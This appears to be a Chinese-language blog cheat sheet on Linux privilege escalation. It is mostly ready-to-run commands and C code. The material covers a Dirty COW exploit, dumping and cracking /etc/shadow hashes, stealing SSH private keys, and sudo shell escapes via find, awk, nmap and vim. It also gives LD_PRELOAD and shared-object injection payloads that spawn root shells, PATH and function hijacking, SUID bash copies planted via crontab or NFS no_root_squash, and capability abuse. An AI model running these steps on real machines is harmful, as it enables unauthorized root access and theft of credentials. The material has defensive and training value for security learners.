linux 内核漏洞

mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool (github.com),脚本可以扫描测试发现dirtycow权限提升漏洞

gcc -pthread c0w.c -o c0w
./c0w

bash_history 漏洞

  • .bash_history文件可能存在管理原理直接爆率密码登录服务等信息

敏感文件权限泄漏

/etc/shadow 默认只能管理员有权限,如何其他用户可以查看的话,可能存在爆破风险

cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt
unshadow passwd.txt shadow.txt   > unshadowed.txt
hashcat -m 1800 unshadowed.txt rockyou.txt -O

ssh_key文件泄漏

find / -name authorized_keys 2> /dev/null查找是否可读,find / -name id_rsa 2> /dev/null,如果具有可读权限可以复制文件的内容
到本地id_rsa文件,chmod 400 id_rsa,ssh -i id_rsa root@,获得root权限

shell程序越权泄漏

可执行的程序如果是root权限可以通过这些程序获得root权限,例如:

sudo find /bin -name nano -exec /bin/sh 

sudo awk 'BEGIN {system("/bin/sh")}'

echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse

sudo vim -c '!sh'

root程序功能泄漏

利用suid 程序的某些功能查看敏感文件

sudo apache2 -f /etc/shadow
echo '[root hash]' > hash.txt
john --wordlist=/usr/share/wordlists/nmap.lst hash.txt

LD_PRELOAD 环境变量漏洞

利用LD_PRELOAD变量的自定义shell程序,和suid程序进行组合

#include 
#include <sys/types.h>
#include <stdlib.h>
void _init() {
 unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

保存代码为x.c

gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
sudo LD_PRELOAD=/tmp/x.so apache2

可分享对象文件注入

检测

  • find / -type f -perm -04000 -ls 2>/dev/null,找到所有suid文件其中有suid-so,strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"

提权

  • mkdir /home/user/.config
  • cd /home/user/.config
    *
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

保存代码为libcalc.c,然后执行gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c,最后执行
/usr/local/bin/suid-so即可获得root 权限。

系统软连接漏洞

检测

环境变量重写漏洞

检测

strings /usr/local/bin/suid-env 如果发现调用了其他模块就可以重写模块,然后更改环境变量即可

第一种
  • echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
  • gcc /tmp/service.c -o /tmp/service
  • export PATH=/tmp:$PATH
  • /usr/local/bin/suid-env 执行即可
第二种
  • function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
  • export -f /usr/sbin/service
第三种
  • env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

Capabilities文件泄漏

检测

getcap -r / 2>/dev/null 如何cap_setuid存在说明可以进行提权

  • /usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")' ,直接设置setuid(0),既可以获得root 权限

crontab 漏洞

  • echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh 直接重写定时执行的sh脚本就可以了

NFS漏洞

检测

cat /etc/exports如果存在no_root_squash在/tmp下,可以进行挂载提权

  • showmount -e MACHINE_IP
  • mkdir /tmp/1
  • mount -o rw,vers=2 MACHINE_IP:/tmp /tmp/1
  • echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
  • gcc /tmp/1/x.c -o /tmp/1/x
  • chmod +s /tmp/1/x
  • /tmp/x
最后修改:2021 年 09 月 15 日
如果觉得我的文章对你有用,请随意赞赏